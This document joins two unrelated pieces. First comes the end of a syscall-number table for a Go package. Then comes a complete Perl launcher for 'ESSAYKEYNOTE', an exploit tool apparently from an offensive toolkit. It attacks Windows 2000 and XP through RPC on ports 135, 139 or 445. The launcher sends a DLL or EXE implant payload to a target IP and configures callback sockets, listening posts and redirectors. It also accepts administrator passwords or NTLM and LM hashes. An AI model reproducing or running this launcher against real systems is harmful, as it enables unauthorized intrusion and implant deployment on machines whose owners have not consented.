SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
)
|
{
"pile_set_name": "Github"
}
|
use strict;
use vars qw($VERSION);
$::VERSION = "ESSAYKEYNOTE Script: 1.6.2";
print "\n\n$::VERSION\n\n";
use FindBin;
use lib "$FindBin::Bin";
use Getopt::Long;
use Cwd;
use lib "$FindBin::Bin\\..\\..\\Resources\\Perl";
use ExploitUtils qw(
$EU_LOGFILE
$EU_VERBOSE
$EU_BATCHMODE
EU_LogInit
EU_Log
EU_ExitMessage
EU_GetInput
EU_GetExistingDir
EU_GetIP
EU_GetLocalIP
EU_GetRootDir
EU_GetPort
EU_RunCommand
EU_GetAddr
);
use vars qw($RIDEAREA $PAYLOAD_DLL $PAYLOAD_EXE $EXPLOIT_EXE @DEPFILES);
my %opts = ();
GetOptions(\%opts, "v", "h", "q|?", "b", "e=s", "f=s", "d=s", "t=s", "l=s", "c=s", "x=s", "n=s") or &print_script_usage(0);
if (scalar(@ARGV) > 0 ) {
&EU_Log(1, "Extraneous arguments found on command line: @ARGV");
&EU_Log(1, "Arguments will be ingnored");
while(@ARGV) {shift;}
}
if (!defined($opts{"e"})) {
&EU_Log(1, "A -e option must be supplied.");
&print_usage(0);
}
if (!defined($opts{"f"})) {
&EU_Log(1, "A -f option must be supplied.");
&print_usage(0);
}
if (!defined($opts{"x"})) {
&EU_Log(1, "A -x option must be supplied.");
&print_usage(0);
}
if (!defined($opts{"l"})) {
&EU_Log(1, "A -l option must be supplied.");
&print_usage(0);
}
if (!defined($opts{"n"})) {
&EU_Log(1, "A -n option must be supplied.");
&print_usage(0);
}
$::RIDEAREA = "Resources\\Tools\\ridearea2.exe";
$::RPCTOUCHII = "Resources\\Tools\\rpc2.exe";
$::LP_DLL = "$opts{l}";
$::PAYLOAD_DLL = "$opts{f}";
$::PAYLOAD_EXE = "$opts{x}";
$::PAYLOAD_EXE_NAME = "$opts{n}";
$::EXPLOIT_EXE = "$opts{e}\\ESKE.exe";
$::EGG_SOCKET_NONE = "1";
$::EGG_SOCKET_NEW = "2";
$::EGG_SOCKET_REUSE = "3";
$::IMPLANT_SOCKET_NEW = "2";
$::IMPLANT_SOCKET_MAINTAIN = "3";
$::RUN_EXPLOIT = "1";
$::RUN_PROBE_1 = "2";
$::RUN_PROBE_2 = "3";
$::RUN_PROBE_3 = "4" ;
$::RUN_PROBE_4 = "5" ;
$::OS_VER_UNKNOWN = "UNKNOWN";
$::OS_VER_2K = "Windows 2000";
$::OS_VER_XP = "Windows XP";
$::SP_VER_01 = 1;
$::SP_VER_2 = 2;
$::TARGET_VER_UNKNOWN = -1;
$::TARGET_VER_2K = 3;
$::TARGET_VER_XP = 4;
$::ESSAYKEYNOTE_NAMED_PIPE_ENDPOINT = 2;
$::ESSAYKEYNOTE_TCP_ENDPOINT = 1;
my $work_dir = $opts{"d"} if (defined $opts{"d"});
my $root_dir = $opts{"c"} if (defined $opts{"c"});
my $TargetIpIn = $opts{"t"} if (defined $opts{"t"});
@DEPFILES = ($::RIDEAREA, $::EXPLOIT_EXE);
my $logfile_prefix = "ESKE_";
my $logfile_suffix = "_script.log";
my $filename_suffix = "_payload.bin";
my $TargetIp = $TargetIpIn;
my $TargetPort = 0;
my $ImplantSocketStatus= $::IMPLANT_SOCKET_NEW;
my $TimeOutValue = 0;
my $PayloadFile = "";
my $PayloadType = "";
my $PayloadDropName = "N/A";
my $EggSocketStatus = $::EGG_SOCKET_REUSE;
my $EggCallbackIp = "127.0.0.1";
my $EggCallbackPort = 0;
my $ExternalRideArea = 0;
my $RA_Payload = "N/A";
my $TransProt_none =0;
my $TransProt_tcp =1;
my $TransProt_udp =2;
my $TargetTransportProtocol = $TransProt_none;
my $TransportProtocol = "undefined";
my $AppProt_none = 0;
my $AppProt_NA = 1;
my $AppProt_nbt = 2;
my $AppProt_smb = 3;
my $AppProt_smtp = 4;
my $AppProt_pop = 5;
my $AppProt_http = 6;
my $AppProt_ftp = 7;
my $AppProt_telnet = 8;
my $AppProt_imap = 9;
my $TargetApplicationProtocol = $AppProt_none;
my $ApplicationProtocol = "undefined";
my $RpcConnection = "";
my $RPCTOUCHII_RUN_GENERAL_PROBE = 1;
my $RPCTOUCHII_RUN_REGPROBE = 2;
my $RPCTOUCHII_RUN_XP_SP0_PROBE = 3;
my $RPCTOUCHII_RUN_RPC_INTERFACE_PORT = 4;
my $RPCTOUCHII_RUN_WINDOWS_2000_SP4_PROBE = 5;
my $RPCTOUCHII_RUN_KB823980_PROBE = 6;
my $RPCTOUCHII_RUN_KB824146_PROBE = 7;
my $RPCTOUCHII_RUN_WINDOWS_2003_PROBE = 8;
my $WindowsVersion = 0;
my $WindowsServicePack = -1;
my $Domain = "NULL";
my $Username = "NULL";
my $Password = "NULL";
my $NTHash = "00000000000000000000000000000000";
my $LMHash = "00000000000000000000000000000000";
my $IPID ="00112233445566778899aabbccddeeff";
my $RpcServerIp = 0;
&print_usage(1) if (defined $opts{"h"});
&print_usage(0) if (defined $opts{"q"});
$ExploitUtils::EU_VERBOSE = 1 if (defined $opts{"v"});
$ExploitUtils::EU_BATCHMODE = 1 if (defined $opts{"b"});
if ($ENV{"OS"} ne "Windows_NT") {
&EU_ExitMessage(1,"This script requires Windows NT or Windows 2000");
}
$work_dir = &EU_GetExistingDir("Enter pathname for operation's working directory", $work_dir, 1);
$root_dir = &EU_GetRootDir($root_dir,@::DEPFILES);
&EU_LogInit($logfile_prefix, $logfile_suffix, $work_dir);
&EU_Log(0,"$::VERSION");
&EU_Log(0,"\nChanging to working directory: $work_dir");
chdir $work_dir || &EU_ExitMessage(1,"Unable to change to working directory: $work_dir");
($TargetIp, $TargetPort, $EggSocketStatus, $ImplantSocketStatus, $PayloadFile, $PayloadType, $PayloadDropName, $TimeOutValue,
$TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection,
$EggCallbackIp, $EggCallbackPort, $Username, $Password,$NTHash, $LMHash,$ExternalRideArea, $IPID,
$WindowsVersion, $WindowsServicePack, $RpcServerIp) =
&validate_parms($work_dir, $root_dir, $TargetIp, $TargetPort, $EggSocketStatus, $ImplantSocketStatus, $PayloadFile, $PayloadType, $PayloadDropName,
$TimeOutValue, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection,
$EggCallbackIp, $EggCallbackPort, $Username, $Password, $NTHash, $LMHash,$ExternalRideArea, $IPID, $WindowsVersion, $WindowsServicePack, $RpcServerIp);
my $answer;
if(!$EU_BATCHMODE) {
$answer = &EU_GetInput("\nReady to begin exploit ([y],n,quit)? ", "y");
&EU_ExitMessage(0,"User terminated script") if ($answer ne "y" and $answer ne "Y");
}
if ($ExternalRideArea == 1) {
my $payload_name_format = "${work_dir}\\${logfile_prefix}%04d%02d%02d_%02d%02d%02d${filename_suffix}";
my ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = gmtime(time);
$year += 1900;
$mon += 1;
$RA_Payload = sprintf($payload_name_format,$year,$mon,$mday,$hour,$min,$sec);
if( $ImplantSocketStatus eq $::IMPLANT_SOCKET_MAINTAIN ) {
if ($PayloadDropName eq "N/A") {
if ($PayloadType eq "d") {
&EU_RunCommand("\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -o \"$RA_Payload\" -f 17 -a 8 -t m -l m");
}
else {
&EU_RunCommand("\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -o \"$RA_Payload\" -f 17 -a 8 -t m");
}
}
else {
if ($PayloadType eq "d") {
&EU_RunCommand("\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -d $PayloadDropName -o \"$RA_Payload\" -f 17 -a 8 -t m -l m");
}
else {
&EU_RunCommand("\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -d $PayloadDropName -o \"$RA_Payload\" -f 17 -a 8 -t m");
}
}
}
elsif( $ImplantSocketStatus eq $::IMPLANT_SOCKET_NEW ) {
if ($PayloadDropName eq "N/A") {
if ($PayloadType eq "d") {
&EU_RunCommand("\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -o \"$RA_Payload\" -f 13 -a 3 -t m -l m");
}
else {
&EU_RunCommand("\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -o \"$RA_Payload\" -f 13 -a 3 -t m");
}
}
else {
if ($PayloadType eq "d") {
&EU_RunCommand("\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -d $PayloadDropName -o \"$RA_Payload\" -f 13 -a 3 -t m -l m");
}
else {
&EU_RunCommand("\"$root_dir\\$::RIDEAREA\" -i \"$PayloadFile\" -x $PayloadType -d $PayloadDropName -o \"$RA_Payload\" -f 13 -a 3 -t m");
}
}
}
}
my $flags;
if($ExploitUtils::EU_VERBOSE) { $flags = "-v"; }
else { $flags = ""; }
&EU_Log(1,"\nExploit will launch in a separate window. Follow the status messages");
&EU_Log(1,"in the new window to determine if it succeeds.");
&EU_Log(1,"\nLaunching exploit...");
my $ImplantPayload = "N/A";
if ($ExternalRideArea == 1) {
$ImplantPayload = $RA_Payload;
}
else {
$ImplantPayload = $PayloadFile;
}
if ($ExternalRideArea == 1) {
&EU_RunCommand("start \"ESKE Exploit\" cmd /T:9F /K \"\"$root_dir\\$::EXPLOIT_EXE\" -r $::RUN_EXPLOIT -i $TargetIp -p $TargetPort -u $EggSocketStatus -c $ImplantSocketStatus -I $EggCallbackIp -P $EggCallbackPort -f \"$ImplantPayload\" -l \"$root_dir\\$::LP_DLL\" -z -o $TimeOutValue -t $TargetTransportProtocol -b $TargetApplicationProtocol $RpcConnection -w $WindowsVersion -D $IPID -h $RpcServerIp -w $WindowsVersion -M $Domain -U $Username -W $Password -N $NTHash -L $LMHash -S $WindowsServicePack\"");
}
else {
if ($PayloadDropName eq "N/A") {
&EU_RunCommand("start \"ESKE Exploit\" cmd /T:9F /K \"\"$root_dir\\$::EXPLOIT_EXE\" -r $::RUN_EXPLOIT -i $TargetIp -p $TargetPort -u $EggSocketStatus -c $ImplantSocketStatus -I $EggCallbackIp -P $EggCallbackPort -f \"$ImplantPayload\" -x $PayloadType -l \"$root_dir\\$::LP_DLL\" -o $TimeOutValue -t $TargetTransportProtocol -b $TargetApplicationProtocol $RpcConnection -w $WindowsVersion -D $IPID -h $RpcServerIp -w $WindowsVersion -M $Domain -U $Username -W $Password -N $NTHash -L $LMHash -S $WindowsServicePack\"");
}
else {
&EU_RunCommand("start \"ESKE Exploit\" cmd /T:9F /K \"\"$root_dir\\$::EXPLOIT_EXE\" -r $::RUN_EXPLOIT -i $TargetIp -p $TargetPort -u $EggSocketStatus -c $ImplantSocketStatus -I $EggCallbackIp -P $EggCallbackPort -f \"$ImplantPayload\" -x $PayloadType -q $PayloadDropName -l \"$root_dir\\$::LP_DLL\" -o $TimeOutValue -t $TargetTransportProtocol -b $TargetApplicationProtocol $RpcConnection -w $WindowsVersion -D $IPID -h $RpcServerIp -w $WindowsVersion -M $Domain -U $Username -W $Password -N $NTHash -L $LMHash -S $WindowsServicePack\"");
}
}
my $cur_dir = cwd();
chdir $cur_dir || &EU_ExitMessage(1,"Unable to switch back to initial directory: $cur_dir");
&EU_ExitMessage(0,"\nDone with $::0.");
sub print_usage() {
my ($verbose) = @_;
print "$::VERSION\n";
print qq~
Usage: $::0 [-v] [-h] [-?] [-b]
[-d <working directory>] [-e <exploits directory>]
[-t <target IP>] [-l <lp dll>]
[-f <payload dll>]
[-x <payload exe> [-n <Payload Dropname>]]
~;
if ($verbose) {
print qq~
-v verbose mode. Default non-verbose mode.
-h Print this help information.
-? Print abbreviated help information.
-b Batch (non-interactive) mode. Default interactive mode.
-d <working directory> Working Directory
Top-level directory where operation's files will be
generated. Default E:\.
-e <exploits directory> Exploits Directory
Top-level directory containing exploit files.
Default one directory up from directory containing this script.
-t <target IP> Target IP address.
Default derived as last part of working directory name.
-l <lp dll> Filename of the listening post dll.
-f <payload dll> Filename of the implant payload (dll).
-x <payload exe> Filename of the implant payload (exe).
-n <payload dropname> Filename to be used for the dropped executable
~;
}
&EU_ExitMessage(1,"End of help.");
}
sub validate_parms() {
my ($work_dir, $root_dir, $TargetIp, $TargetPort, $EggSocketStatus, $ImplantSocketStatus, $PayloadFile,
$PayloadType, $PayloadDropName,
$TimeOutValue,$TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection,
$EggCallbackIp, $EggCallbackPort, $Username, $Password,$NTHash, $LMHash,$ExternalRideArea,$IPID,
$WindowsVersion,$WindowsServicePack,$RpcServerIp) = @_;
my ($continue, $retcode, $vol, $dir);
my ($redirectFlag);
my $OrgTargetIp = $TargetIp;
my $LPRedirectionIp = "127.0.0.1";
my $LPRedirectionPort = "undefined";
my $DestinationIp = $TargetIp;
my $DestinationPort = "undefined";
my $TransportProtocolSelected = 0;
my $EndpointSelected = 0;
my $RideAreaOpt = "Exploit called";
my $UsingPassword = 0;
; my $OriginalTargetTransportProtocol = 0;
; my $OriginalTargetApplicationProtocol = 0;
my ($LocalIp);
my $attackPort = 0;
my $attackPort2 = 0;
my $TargetPort2 = 0;
my $EndPoint = $::ESSAYKEYNOTE_TCP_ENDPOINT;
my $EnterCallbackIp = "Enter the call-back IP Address";
my $EnterCallbackPort = "Enter the call-back Port";
my $IPID_tch2 ="00112233445566778899aabbccddeeff";
my $w2k = "Windows 2000";
my $wxp = "Windows XP";
$LocalIp = &EU_GetLocalIP("Enter the local IP Address", $LocalIp);
&EU_Log(0, "Enter the local IP Address: $LocalIp");
while (1) {
&EU_Log(1,"\nSelect Payload file to send:\n");
&EU_Log(1," 0) $::PAYLOAD_DLL");
&EU_Log(1," 1) $::PAYLOAD_EXE ($::PAYLOAD_EXE_NAME)");
while(1) {
$retcode = &EU_GetInput("\nEnter selection [0]: ", "0");
&EU_Log(0, "\nEnter selection [0]: $retcode");
if($retcode eq "0") {
&EU_Log(1,"\nUsing Payload file $::PAYLOAD_DLL\n");
$PayloadFile = $::PAYLOAD_DLL;
$PayloadType = "d";
$PayloadDropName = "N/A";
}
elsif($retcode eq "1") {
&EU_Log(1,"\nUsing Payload file $::PAYLOAD_EXE\n");
$PayloadFile = $::PAYLOAD_EXE;
$PayloadType = "e";
$PayloadDropName = $::PAYLOAD_EXE_NAME;
}
else {
&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
next;
}
last;
}
&EU_Log(1,"\nRideArea option:\n");
&EU_Log(1," 0) Have exploit call RideArea [DEFAULT]");
&EU_Log(1," 1) Have the script call RideArea. (RideArea is newer than the exploit)");
while(1) {
$ExternalRideArea = &EU_GetInput("\nEnter selection [0]: ", $ExternalRideArea);
&EU_Log(0, "\nEnter selection [0]: $ExternalRideArea");
if($ExternalRideArea eq "0") {
$RideAreaOpt = "Exploit called";
}
elsif($ExternalRideArea eq "1") {
$RideAreaOpt = "Script called";
}
else {
&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
next;
}
last;
}
&EU_Log(1,"\nSelect the Transport Protocol Sequence To Use:\n");
&EU_Log(1,"(NOTE: This is only for the initial connection to the System Activation Service.The actual exploit may be different.)\n");
&EU_Log(1," 1) TCP/IP (TCP Port 135 is accessible) [DEFAULT]");
&EU_Log(1," 2) NBT/Named Pipe (TCP Port 139 is accessible)");
&EU_Log(1," 3) SMB/Named Pipe (TCP Port 445 is accessible)");
while(1) {
$TransportProtocolSelected = &EU_GetInput("\nEnter selection [1]: ", "1");
&EU_Log(0, "\nEnter selection [1]: $TransportProtocolSelected");
if ($TransportProtocolSelected eq "1") {
$TargetTransportProtocol = $TransProt_tcp;
$TransportProtocol = "tcp";
$TargetApplicationProtocol = $AppProt_NA;
$ApplicationProtocol = "NA";
$RpcConnection = "-rpc";
$DestinationPort = 135;
}
elsif($TransportProtocolSelected eq "2") {
$TargetTransportProtocol = $TransProt_tcp;
$TransportProtocol = "tcp";
$TargetApplicationProtocol = $AppProt_nbt;
$ApplicationProtocol = "nbt";
$RpcConnection = "-rpc";
$DestinationPort = 139;
}
elsif($TransportProtocolSelected eq "3") {
$TargetTransportProtocol = $TransProt_tcp;
$TransportProtocol = "tcp";
$TargetApplicationProtocol = $AppProt_smb;
$ApplicationProtocol = "smb";
$RpcConnection = "-rpc";
$DestinationPort = 445;
}
else {
&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
next;
}
last;
}
($Username, $Password, $NTHash, $LMHash, $UsingPassword) = &get_auth($Username, $Password, $NTHash, $LMHash, $UsingPassword);
$retcode = &EU_GetInput("\nWill this operation be REDIRECTED ([y],n)? ", "y");
if( ($retcode eq "y") or ($retcode eq "yes") or ($retcode eq "Y") or ($retcode eq "YES") ) { $redirectFlag = 1; }
else { $redirectFlag = 0; }
if( $redirectFlag == 0 ) {
$EggCallbackIp = $LocalIp;
$TargetIp = $OrgTargetIp;
$TargetIp = &EU_GetIP("\nEnter the target IP Address", $TargetIp);
&EU_Log(0, "\nEnter the target IP Address: $TargetIp");
$DestinationIp = $TargetIp;
$DestinationPort = &EU_GetPort("\nEnter the target Port", $DestinationPort);
&EU_Log(0, "\nEnter the target Port: $DestinationPort");
$TargetPort = $DestinationPort;
$RpcServerIp = $TargetIp;
if($DestinationPort < 6500)
{
$EggCallbackPort = $DestinationPort * 10 + 1;
}
else
{
$EggCallbackPort = $DestinationPort + 11;
}
($ImplantSocketStatus, $EggSocketStatus) =
&get_socket_options($ImplantSocketStatus, $EggSocketStatus,
$PayloadType);
if( $EggSocketStatus eq $::EGG_SOCKET_NEW)
{
&EU_Log(1, "The local IP Address should be used as the Egg call-back IP ".
"Address.");
$EggCallbackIp = &EU_GetLocalIP("\n$EnterCallbackIp", $LocalIp);
&EU_Log(0, "\n$EnterCallbackIp: $EggCallbackIp");
$EggCallbackPort = &EU_GetPort("\n$EnterCallbackPort", $EggCallbackPort);
&EU_Log(0, "\n$EnterCallbackIp: $EggCallbackPort");
}
}
else {
$LPRedirectionIp = &EU_GetIP("\nEnter the LP Redirection IP address", $LPRedirectionIp);
&EU_Log(0, "\nEnter the LP Redirection IP address: $LPRedirectionIp");
$TargetIp = $LPRedirectionIp;
if($DestinationPort < 6500)
{
$LPRedirectionPort = $DestinationPort * 10;
}
else
{
$LPRedirectionPort = $DestinationPort + 10;
}
$LPRedirectionPort = &EU_GetPort("DestinationPort: $DestinationPort. Enter the LP Redirection Port", $LPRedirectionPort);
&EU_Log(0,"\nDestinationPort: $DestinationPort. Enter the LP Redirection Port: $LPRedirectionPort");
$TargetPort = $LPRedirectionPort;
$RpcServerIp = &EU_GetIP("\nEnter the RPC Server's IP Address\n(AKA: the ".
"Actual Target's IP Address)", $TargetIp);
&EU_Log(0, "\nEnter the RPC Server's IP Address\n(AKA: the Actual Target's ".
"IP Address): $RpcServerIp");
$EggCallbackPort = $DestinationPort * 10 + 1;
($ImplantSocketStatus, $EggSocketStatus) =
&get_socket_options($ImplantSocketStatus, $EggSocketStatus,
$PayloadType);
if( $EggSocketStatus eq $::EGG_SOCKET_NEW)
{
&EU_Log(1, "\nThe call-back IP Address MUST be that of the Redirector. ".
" The call-back Port MUST be the same number on both the ".
"Redirector and the local machine, else redirection will fail.".
" The local machine uses this port to listen for the call-back,".
" and the ESKE Exploit Payload uses it to call-back to the ".
"Redirector.");
$EggCallbackIp = &EU_GetIP("\n$EnterCallbackIp");
&EU_Log(0, "\n$EnterCallbackIp: $EggCallbackIp");
$EggCallbackPort = &EU_GetPort("\n$EnterCallbackPort", $EggCallbackPort);
&EU_Log(0, "\n$EnterCallbackIp: $EggCallbackPort");
}
}
&EU_Log(1, "\nThe default time-out value for the target connection is 60 sec.");
&EU_Log(1, "(You may want to increase this value if the network is exceptionally slow.)");
$retcode = &EU_GetInput("Use default value of 60 sec ([y],n)? ", "y");
&EU_Log(0, "Use default value of 60 sec ([y],n)? $retcode");
if( ($retcode eq "y") or ($retcode eq "yes") or ($retcode eq "Y") or ($retcode eq "YES") or ($retcode eq "60") ) {
$TimeOutValue = "60";
}
else {
$TimeOutValue = &EU_GetInput("Enter new time-out value (greater than 60): ");
&EU_Log(0, "Enter new time-out value (greater than 60): $TimeOutValue");
}
&EU_Log(1,"\nConfirm Network Parameters:");
&EU_Log(1,"\tRoot Directory : $root_dir");
&EU_Log(1,"\tLocal IP : $LocalIp");
&EU_Log(1,"\tPayload file : $PayloadFile");
&EU_Log(1,"\tPayload drop name : $PayloadDropName");
&EU_Log(1,"\tRideArea Option : $RideAreaOpt");
if( $redirectFlag ) {
&EU_Log(1,"\tUsing Redirection : True");
&EU_Log(1,"\tLP Redirector IP : $LPRedirectionIp");
&EU_Log(1,"\tLP Redirector Port : $LPRedirectionPort");
}
else {
&EU_Log(1,"\tUsing Redirection : False");
}
&EU_Log(1,"\tTarget IP : $DestinationIp");
&EU_Log(1,"\tTarget Port : $DestinationPort");
&EU_Log(1,"\tRPC Server IP : $RpcServerIp");
if( $EggSocketStatus eq $::EGG_SOCKET_NEW ) {
&EU_Log(1,"\tEgg Socket Status : New");
if( $redirectFlag ) {
&EU_Log(1,"\tEgg Callback IP : $EggCallbackIp (Middle Redirector)");
}
else {
&EU_Log(1,"\tEgg Callback IP : $EggCallbackIp");
}
&EU_Log(1,"\tEgg Callback Port : $EggCallbackPort");
}
elsif( $EggSocketStatus eq $::EGG_SOCKET_REUSE ) {
&EU_Log(1,"\tEgg Socket Status : Reuse");
}
else {
&EU_Log(1,"\tEgg Socket Status : None");
}
if( $ImplantSocketStatus eq $::IMPLANT_SOCKET_MAINTAIN ) {
&EU_Log(1,"\tExploit Socket Status : Maintain (Use existing connection for the entire operation.)");
}
else {
&EU_Log(1,"\tExploit Socket Status : Close (Existing connection will NOT be used for the entire operation.)");
}
&EU_Log(1,"\tTransport Protocol : $TransportProtocol");
&EU_Log(1,"\tApplication Protocol : $ApplicationProtocol");
&EU_Log(1,"\tRpc Connection flag : $RpcConnection");
if($UsingPassword == 1)
{
&EU_Log(1,"\tDomain : $Domain");
&EU_Log(1,"\tUsername : $Username");
&EU_Log(1,"\tPassword : $Password");
}
if($UsingPassword == 2)
{
&EU_Log(1,"\tDomain : $Domain");
&EU_Log(1,"\tUsername : $Username");
&EU_Log(1,"\tNTLM password hash : $NTHash");
&EU_Log(1,"\tLANMAN password hash : $LMHash");
}
&EU_Log(1,"\tNetwork Time Out : $TimeOutValue sec");
$continue = &EU_GetInput("\nContinue with the current values ([y],n,quit)? ","y");
&EU_Log(0, "\nContinue with the current values ([y],n,quit)? $continue");
if( ($continue eq "y") or ($continue eq "yes") or ($continue eq "Y") or ($continue eq "YES") ) {
;
}
elsif( ($continue eq "q") or ($continue eq "quit") or ($continue eq "Q") or ($continue eq "QUIT") ) {
&EU_ExitMessage(1,"User terminated script\n");
}
else {
&EU_Log(1, "Returning to top of script...\n");
next;
}
my $probeFlag = "n";
$WindowsVersion = $::TARGET_VER_UNKNOWN;
&EU_Log(1, "\n\nRecall that ESSAYKEYNOTE can only exploit Window 2000 and XP SP0,SP1 boxes anonymously. \nExploitation of XPSP2 requires an administrative password.");
$probeFlag = &EU_GetInput("\nUse RPCTOUCH to obtain the Windows Version ([y],n)? ", "y");
if(($probeFlag eq "y") or ($probeFlag eq "Y")) {
my $probeError;
($WindowsVersion, $WindowsServicePack, $probeError) = &launch_rpctouchii($root_dir,$TargetIp,$TargetPort, $RPCTOUCHII_RUN_GENERAL_PROBE, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcServerIp, $TimeOutValue, $WindowsVersion, $WindowsServicePack);
if( ($WindowsVersion == $::TARGET_VER_XP) and ($probeError == 0) and ($ApplicationProtocol eq "NA")and ($WindowsServicePack != 2))
{
($WindowsVersion, $WindowsServicePack, $probeError) = &launch_rpctouchii($root_dir,$TargetIp,$TargetPort, $RPCTOUCHII_RUN_WINDOWS_2003_PROBE, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcServerIp, $TimeOutValue);
}
elsif(($WindowsVersion == $::TARGET_VER_XP) and ($probeError == 0) and ($WindowsServicePack != 2))
{
($WindowsVersion, $WindowsServicePack, $probeError) = &touch_tool($root_dir,$TargetIp,$TargetPort, $::RUN_PROBE_4, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcServerIp, $TimeOutValue, $WindowsVersion,$WindowsServicePack, $Domain, $Username, $Password, $NTHash, $LMHash, $attackPort, $EndPoint);
}
if( ($probeError == 1) or ($WindowsVersion eq $::TARGET_VER_UNKNOWN) ) {
&EU_Log(1, "\n*** WARNING *** Recommend you STOP and re-evaluate before proceeding!");
$continue = &EU_GetInput("\nDo you wish to continue (y,n,[quit])? ", "quit");
&EU_Log(0, "\nDo you wish to continue (y,n,[quit])? $continue");
if( ($continue eq "quit") or ($continue eq "QUIT") or ($continue eq "q") or ($continue eq "Q") ) {
&EU_ExitMessage(1,"User terminated script\n");
}
elsif( ($continue eq "n") or ($continue eq "N") ) {
&EU_Log(1, "Returning to top of script...\n");
next;
}
else {
$probeFlag = "N";
}
}
}
&EU_Log(1,"\nSelect the target Windows Version:\n");
&EU_Log(1," 0) $::OS_VER_2K");
&EU_Log(1," 1) $::OS_VER_XP Service Pack 0 or 1");
&EU_Log(1," 2) $::OS_VER_XP Service Pack 2");
my $recommended_choice = -1;
if($WindowsVersion == $::TARGET_VER_2K)
{
$recommended_choice = 0;
}
elsif($WindowsVersion == $::TARGET_VER_XP && $WindowsServicePack == $::SP_VER_01)
{
$recommended_choice = 1;
}
elsif($WindowsVersion == $::TARGET_VER_XP && $WindowsServicePack == $::SP_VER_2)
{
$recommended_choice = 2;
}
while(1)
{
$retcode = &EU_GetInput("\nEnter selection : [$recommended_choice] ", $recommended_choice );
&EU_Log(0, "\nEnter selection : $retcode");
if($retcode == 0)
{
$WindowsVersion = $::TARGET_VER_2K;
&EU_Log(0,"\tWindowsVersion : $::OS_VER_2K");
}
elsif($retcode == 1)
{
$WindowsVersion = $::TARGET_VER_XP;
$WindowsServicePack = $::SP_VER_01;
&EU_Log(0,"\tWindowsVersion : $::OS_VER_XP");
&EU_Log(0,"\tWindowsServicePack : $::SP_VER_01");
}
elsif($retcode == 2)
{
$WindowsVersion = $::TARGET_VER_XP;
$WindowsServicePack = $::SP_VER_2;
&EU_Log(0,"\tWindowsVersion : $::OS_VER_XP");
&EU_Log(0,"\tWindowsServicePack : $::SP_VER_2");
if ($Username eq "NULL" and $Password eq "NULL")
{
&EU_Log(1, "\n*** WARNING *** XP Service pack 2 targets require an administrative username and password.");
$UsingPassword = "1";
($Username, $Password, $NTHash, $LMHash, $UsingPassword) = &get_auth($Username, $Password, $NTHash, $LMHash, $UsingPassword);
}
if ($Username eq "NULL" and $Password eq "NULL")
{
$continue = &EU_GetInput("\nDo you wish to continue (y,n,[quit])? ", "quit");
&EU_Log(0, "\nDo you wish to continue (y,n,[quit])? $continue");
if( ($continue eq "quit") or ($continue eq "QUIT") or ($continue eq "q") or ($continue eq "Q") )
{
&EU_ExitMessage(1,"User terminated script\n");
}
elsif( ($continue eq "n") or ($continue eq "N") )
{
&EU_Log(1, "Returning to top of script...\n");
last;
}
else
{
}
}
}
else
{
&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
next;
}
last;
}
if(($continue eq "n") or ($continue eq "N") )
{
next;
}
